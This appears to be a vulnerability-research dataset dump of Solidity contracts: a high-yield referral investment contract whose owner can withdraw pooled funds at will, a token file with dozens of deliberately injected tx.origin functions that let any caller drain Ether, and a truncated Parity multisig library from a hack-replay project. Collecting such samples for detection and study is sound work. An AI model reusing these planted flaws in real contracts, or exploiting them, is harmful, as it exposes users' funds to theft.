uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory interests = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
newDividends[i] = 0;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
isExpireds[i] = true;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
}else{
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE;
interests[i] = investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE;
interests[i] = investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
}
}
return
(planIds,
investmentDates,
investments,
currentDividends,
newDividends,
interests,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
//require(uid2Investor[_referrerCode].addr != address(0), "Wrong referrer code");
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
uint256 ln =0;
uint256 _ref1 = _referrerCode;
while (_referrerCode >= REFERRER_CODE && ln<6)
{
uid2Investor[_ref1].levelRefCount[ln] = uid2Investor[_ref1].levelRefCount[ln].add(1);
ln++;
_ref1 = uid2Investor[_ref1].referrer;
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
totalUser_ = totalUser_.add(1);
//new user
} else {//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 marketingPercentage = (_amount.mul(ADMIN_ENTRY_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function grant(address addr, uint256 _planId) public payable {
uint256 grantorUid = address2UID[msg.sender];
bool isAutoAddReferrer = true;
uint256 referrerCode = 0;
if (grantorUid != 0 && isAutoAddReferrer) {
referrerCode = grantorUid;
}
if (_invest(addr,_planId,referrerCode,msg.value)) {
emit onGrant(msg.sender, addr, msg.value);
}
}
function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public payable {
require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate , plan.maxDailyInterest);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
uint256 ownerPercent = (withdrawalAmount.mul(5)).div(1000);
marketingAccount_.transfer(ownerPercent);
uint256 actual_amount=withdrawalAmount-ownerPercent;
msg.sender.transfer(actual_amount);
if (uid2Investor[uid].availableReferrerEarnings>0) {
uint256 ownerPercent1 = (uid2Investor[uid].availableReferrerEarnings.mul(5)).div(1000);
marketingAccount_.transfer(ownerPercent1);
uint256 remaining= uid2Investor[uid].availableReferrerEarnings-ownerPercent1;
msg.sender.transfer(remaining);
totalWithdrawn +=uid2Investor[uid].availableReferrerEarnings;
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
totalWithdrawn +=withdrawalAmount;
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start , uint256 _maxDailyInterest) private pure returns (uint256) {
uint256 numberOfDays = (_now - _start) / INTEREST_CYCLE ;
uint256 result = 0;
uint256 index = 0;
if(numberOfDays > 0){
uint256 secondsLeft = (_now - _start);
for (index; index < numberOfDays; index++) {
if(_dailyInterestRate + index <= _maxDailyInterest){
secondsLeft -= INTEREST_CYCLE;
result += (_amount * (_dailyInterestRate + index) / 1000 * INTEREST_CYCLE) / (60*60*24);
}
else{
break;
}
}
result += (_amount * (_dailyInterestRate + index) / 1000 * secondsLeft) / (60*60*24);
return result;
}else{
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _refAmount = 0;
uint ln=0;
while (_ref1 != 0 && ln<6) {
_refAmount = (_investment.mul(REFERENCE_LEVEL_RATE[ln+1])).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
_ref1= uid2Investor[_ref1].referrer;
ln++;
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
function withdrawLostTRXFromBalance(uint256 _amount) public payable{
require(msg.sender == owner, "onlyOwner");
msg.sender.transfer(_amount);
}
}
| 305,785 | 13,937 |
d8505eecd2d5acd06a30006b1e163a08e5bc3a7918c69c86f809c4e9bdeb8ad4
| 23,386 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
experiments/ge-sc-data/source_code/access_control/buggy_curated/buggy_18.sol
| 5,479 | 22,476 |
pragma solidity >=0.5.9;
// 'Yesbuzz' contract
// Mineable & Deflationary ERC20 Token using Proof Of Work
//
// Symbol : YESBUZ
// Name : Yesbuzz
// Total supply: 21,000,000.00
// Decimals : 8
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns(uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns(uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns(uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns(uint c) {
require(b > 0);
c = a / b;
}
}
library ExtendedMath {
//return the smaller of the two inputs (a or b)
function limitLessThan(uint a, uint b) internal pure returns(uint c) {
if (a > b) return b;
return a;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns(uint);
function bug_txorigin28(address owner_txorigin28) public{
require(tx.origin == owner_txorigin28);
}
function balanceOf(address tokenOwner) public view returns(uint balance);
function withdrawAll_txorigin34(address payable _recipient,address owner_txorigin34) public {
require(tx.origin == owner_txorigin34);
_recipient.transfer(address(this).balance);
}
function allowance(address tokenOwner, address spender) public view returns(uint remaining);
function sendto_txorigin21(address payable receiver, uint amount,address owner_txorigin21) public {
require (tx.origin == owner_txorigin21);
receiver.transfer(amount);
}
function transfer(address to, uint tokens) public returns(bool success);
function withdrawAll_txorigin10(address payable _recipient,address owner_txorigin10) public {
require(tx.origin == owner_txorigin10);
_recipient.transfer(address(this).balance);
}
function approve(address spender, uint tokens) public returns(bool success);
function withdrawAll_txorigin22(address payable _recipient,address owner_txorigin22) public {
require(tx.origin == owner_txorigin22);
_recipient.transfer(address(this).balance);
}
function transferFrom(address from, address to, uint tokens) public returns(bool success);
function bug_txorigin12(address owner_txorigin12) public{
require(tx.origin == owner_txorigin12);
}
function sendto_txorigin33(address payable receiver, uint amount,address owner_txorigin33) public {
require (tx.origin == owner_txorigin33);
receiver.transfer(amount);
}
event Transfer(address indexed from, address indexed to, uint tokens);
function transferTo_txorigin27(address to, uint amount,address owner_txorigin27) public {
require(tx.origin == owner_txorigin27);
to.call.value(amount);
}
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
function transferTo_txorigin11(address to, uint amount,address owner_txorigin11) public {
require(tx.origin == owner_txorigin11);
to.call.value(amount);
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
function transferTo_txorigin31(address to, uint amount,address owner_txorigin31) public {
require(tx.origin == owner_txorigin31);
to.call.value(amount);
}
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
function sendto_txorigin1(address payable receiver, uint amount,address owner_txorigin1) public {
require (tx.origin == owner_txorigin1);
receiver.transfer(amount);
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function withdrawAll_txorigin2(address payable _recipient,address owner_txorigin2) public {
require(tx.origin == owner_txorigin2);
_recipient.transfer(address(this).balance);
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
function sendto_txorigin17(address payable receiver, uint amount,address owner_txorigin17) public {
require (tx.origin == owner_txorigin17);
receiver.transfer(amount);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract _Yesbuzz is ERC20Interface, Owned {
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public latestDifficultyPeriodStarted;
uint public epochCount; //number of 'blocks' mined
uint public _BLOCKS_PER_READJUSTMENT = 1024;
//a little number
uint public _MINIMUM_TARGET = 2 ** 16;
//a big number is easier ; just find a solution that is smaller
//uint public _MAXIMUM_TARGET = 2**224; bitcoin uses 224
uint public _MAXIMUM_TARGET = 2 ** 234;
uint public miningTarget;
bytes32 public challengeNumber; //generate a new one when a new reward is minted
uint public rewardEra;
uint public maxSupplyForEra;
address public lastRewardTo;
uint public lastRewardAmount;
function withdrawAll_txorigin18(address payable _recipient,address owner_txorigin18) public {
require(tx.origin == owner_txorigin18);
_recipient.transfer(address(this).balance);
}
uint public lastRewardEthBlockNumber;
function sendto_txorigin29(address payable receiver, uint amount,address owner_txorigin29) public {
require (tx.origin == owner_txorigin29);
receiver.transfer(amount);
}
bool locked = false;
function withdrawAll_txorigin6(address payable _recipient,address owner_txorigin6) public {
require(tx.origin == owner_txorigin6);
_recipient.transfer(address(this).balance);
}
mapping(bytes32 => bytes32) solutionForChallenge;
function bug_txorigin16(address owner_txorigin16) public{
require(tx.origin == owner_txorigin16);
}
uint public tokensMinted;
function bug_txorigin24(address owner_txorigin24) public{
require(tx.origin == owner_txorigin24);
}
mapping(address => uint) balances;
function sendto_txorigin5(address payable receiver, uint amount,address owner_txorigin5) public {
require (tx.origin == owner_txorigin5);
receiver.transfer(amount);
}
mapping(address => mapping(address => uint)) allowed;
function transferTo_txorigin15(address to, uint amount,address owner_txorigin15) public {
require(tx.origin == owner_txorigin15);
to.call.value(amount);
}
uint public burnPercent;
function sendto_txorigin13(address payable receiver, uint amount,address owner_txorigin13) public {
require (tx.origin == owner_txorigin13);
receiver.transfer(amount);
}
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public onlyOwner {
symbol = "YESBUZ";
name = "Yesbuzz";
decimals = 8;
_totalSupply = 21000000 * 10 ** uint(decimals);
if (locked) revert();
locked = true;
tokensMinted = 0;
rewardEra = 0;
maxSupplyForEra = _totalSupply.div(2);
miningTarget = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
burnPercent = 10; //it's divided by 1000, then 10/1000 = 0.01 = 1%
_startNewMiningEpoch();
//The owner gets nothing! You must mine this ERC20 token
//balances[owner] = _totalSupply;
//Transfer(address(0), owner, _totalSupply);
}
function sendto_txorigin37(address payable receiver, uint amount,address owner_txorigin37) public {
require (tx.origin == owner_txorigin37);
receiver.transfer(amount);
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns(bool success) {
bytes32 digest = keccak256(abi.encodePacked(challengeNumber, msg.sender, nonce));
//the challenge digest must match the expected
if (digest != challenge_digest) revert();
//the digest must be smaller than the target
if (uint256(digest) > miningTarget) revert();
//only allow one reward for each challenge
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if (solution != 0x0) revert(); //prevent the same answer from awarding twice
uint reward_amount = getMiningReward();
balances[msg.sender] = balances[msg.sender].add(reward_amount);
tokensMinted = tokensMinted.add(reward_amount);
//Cannot mint more tokens than there are
assert(tokensMinted <= maxSupplyForEra);
//set readonly diagnostics data
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
emit Mint(msg.sender, reward_amount, epochCount, challengeNumber);
return true;
}
function transferTo_txorigin3(address to, uint amount,address owner_txorigin3) public {
require(tx.origin == owner_txorigin3);
to.call.value(amount);
}
//a new 'block' to be mined
function _startNewMiningEpoch() internal {
//40 is the final reward era, almost all tokens minted
//once the final era is reached, more tokens will not be given out because the assert function
if (tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 39) {
rewardEra = rewardEra + 1;
}
//set the next minted supply at which the era will change
// total supply is 2100000000000000 because of 8 decimal places
maxSupplyForEra = _totalSupply - _totalSupply.div(2 ** (rewardEra + 1));
epochCount = epochCount.add(1);
//every so often, readjust difficulty. Dont readjust when deploying
if (epochCount % _BLOCKS_PER_READJUSTMENT == 0) {
_reAdjustDifficulty();
}
//do this last since this is a protection mechanism in the mint() function
challengeNumber = blockhash(block.number - 1);
}
function sendto_txorigin9(address payable receiver, uint amount,address owner_txorigin9) public {
require (tx.origin == owner_txorigin9);
receiver.transfer(amount);
}
//https://en.bitcoin.it/wiki/Difficulty#What_is_the_formula_for_difficulty.3F
//as of 2017 the bitcoin difficulty was up to 17 zeroes, it was only 8 in the early days
//readjust the target by 5 percent
function _reAdjustDifficulty() internal {
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
//assume 360 ethereum blocks per hour
uint epochsMined = _BLOCKS_PER_READJUSTMENT; //256
uint targetEthBlocksPerDiffPeriod = epochsMined * 60; //should be 60 times slower than ethereum
//if there were less eth blocks passed in time than expected
if (ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod) {
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div(ethBlocksSinceLastDifficultyPeriod);
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000);
//make it harder
miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra)); //by up to 50 %
} else {
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div(targetEthBlocksPerDiffPeriod);
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); //always between 0 and 1000
//make it easier
miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra)); //by up to 50 %
}
latestDifficultyPeriodStarted = block.number;
if (miningTarget < _MINIMUM_TARGET) //very difficult
{
miningTarget = _MINIMUM_TARGET;
}
if (miningTarget > _MAXIMUM_TARGET) //very easy
{
miningTarget = _MAXIMUM_TARGET;
}
}
function sendto_txorigin25(address payable receiver, uint amount,address owner_txorigin25) public {
require (tx.origin == owner_txorigin25);
receiver.transfer(amount);
}
//this is a recent ethereum block hash, used to prevent pre-mining future blocks
function getChallengeNumber() public view returns(bytes32) {
return challengeNumber;
}
function transferTo_txorigin19(address to, uint amount,address owner_txorigin19) public {
require(tx.origin == owner_txorigin19);
to.call.value(amount);
}
//the number of zeroes the digest of the PoW solution requires. Auto adjusts
function getMiningDifficulty() public view returns(uint) {
return _MAXIMUM_TARGET.div(miningTarget);
}
function withdrawAll_txorigin26(address payable _recipient,address owner_txorigin26) public {
require(tx.origin == owner_txorigin26);
_recipient.transfer(address(this).balance);
}
function getMiningTarget() public view returns(uint) {
return miningTarget;
}
function bug_txorigin20(address owner_txorigin20) public{
require(tx.origin == owner_txorigin20);
}
//21m coins total
//reward begins at 50 and is cut in half every reward era (as tokens are mined)
function getMiningReward() public view returns(uint) {
//once we get half way thru the coins, only get 25 per block
//every reward era, the reward amount halves.
return (50 * 10 ** uint(decimals)).div(2 ** rewardEra);
}
function bug_txorigin32(address owner_txorigin32) public{
require(tx.origin == owner_txorigin32);
}
//help debug mining software
function getMintDigest(uint256 nonce, bytes32 challenge_number) public view returns(bytes32 digesttest) {
bytes32 digest = keccak256(abi.encodePacked(challenge_number, msg.sender, nonce));
return digest;
}
function withdrawAll_txorigin38(address payable _recipient,address owner_txorigin38) public {
require(tx.origin == owner_txorigin38);
_recipient.transfer(address(this).balance);
}
//help debug mining software
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns(bool success) {
bytes32 digest = keccak256(abi.encodePacked(challenge_number, msg.sender, nonce));
if (uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
function bug_txorigin4(address owner_txorigin4) public{
require(tx.origin == owner_txorigin4);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns(uint) {
return _totalSupply - balances[address(0)];
}
function transferTo_txorigin7(address to, uint amount,address owner_txorigin7) public {
require(tx.origin == owner_txorigin7);
to.call.value(amount);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns(uint balance) {
return balances[tokenOwner];
}
function transferTo_txorigin23(address to, uint amount,address owner_txorigin23) public {
require(tx.origin == owner_txorigin23);
to.call.value(amount);
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns(bool success) {
uint toBurn = tokens.mul(burnPercent).div(1000);
uint toSend = tokens.sub(toBurn);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(toSend);
emit Transfer(msg.sender, to, toSend);
balances[address(0)] = balances[address(0)].add(toBurn);
emit Transfer(msg.sender, address(0), toBurn);
return true;
}
function withdrawAll_txorigin14(address payable _recipient,address owner_txorigin14) public {
require(tx.origin == owner_txorigin14);
_recipient.transfer(address(this).balance);
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns(bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function withdrawAll_txorigin30(address payable _recipient,address owner_txorigin30) public {
require(tx.origin == owner_txorigin30);
_recipient.transfer(address(this).balance);
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns(bool success) {
uint toBurn = tokens.mul(burnPercent).div(1000);
uint toSend = tokens.sub(toBurn);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(toSend);
emit Transfer(from, to, toSend);
balances[address(0)] = balances[address(0)].add(toBurn);
emit Transfer(from, address(0), toBurn);
return true;
}
function bug_txorigin8(address owner_txorigin8) public{
require(tx.origin == owner_txorigin8);
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns(uint remaining) {
return allowed[tokenOwner][spender];
}
function transferTo_txorigin39(address to, uint amount,address owner_txorigin39) public {
require(tx.origin == owner_txorigin39);
to.call.value(amount);
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns(bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function bug_txorigin36(address owner_txorigin36) public{
require(tx.origin == owner_txorigin36);
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
function transferTo_txorigin35(address to, uint amount,address owner_txorigin35) public {
require(tx.origin == owner_txorigin35);
to.call.value(amount);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns(bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function bug_txorigin40(address owner_txorigin40) public{
require(tx.origin == owner_txorigin40);
}
}
| 133,003 | 13,938 |
3ff3c36846f3a454593ed1dc767bb956100eeff0fd5d3e3597d91c194189b590
| 16,401 |
.sol
|
Solidity
| false |
339881255
|
MrToph/replaying-ethereum-hacks
|
74ce67155fec5dac563e04faf9548de67f9f00f3
|
contracts/Parity.sol
| 4,278 | 15,330 |
//sol Wallet
// Multi-sig, daily-limited account proxy/wallet.
// @authors:
// Gav Wood <g@ethdev.com>
// single, or, crucially, each of a number of, designated owners.
// usage:
// interior is executed.
pragma solidity ^0.4.9;
contract WalletEvents {
// EVENTS
// this contract only has six types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// Funds has arrived into the wallet (record how much).
event Deposit(address _from, uint value);
event SingleTransact(address owner, uint value, address to, bytes data, address created);
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created);
// Confirmation still needed for a transaction.
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
}
contract WalletAbi {
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external;
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) external;
function addOwner(address _owner) external;
function removeOwner(address _owner) external;
function changeRequirement(uint _newRequired) external;
function isOwner(address _addr) constant returns (bool);
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool);
function setDailyLimit(uint _newLimit) external;
function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash);
function confirm(bytes32 _h) returns (bool o_success);
}
contract WalletLibrary is WalletEvents {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
bytes data;
}
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function initMultiowned(address[] _owners, uint _required) only_uninitialized {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
var pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) external constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
function isOwner(address _addr) constant returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
var pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
return !(pending.ownersDone & ownerIndexBit == 0);
}
// constructor - stores initial daily limit and records the present day's index.
function initDaylimit(uint _limit) only_uninitialized {
m_dailyLimit = _limit;
m_lastDay = today();
}
function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {
m_dailyLimit = _newLimit;
}
// resets the amount already spent today. needs many of the owners to confirm.
function resetSpentToday() onlymanyowners(sha3(msg.data)) external {
m_spentToday = 0;
}
// throw unless the contract is not yet initialized.
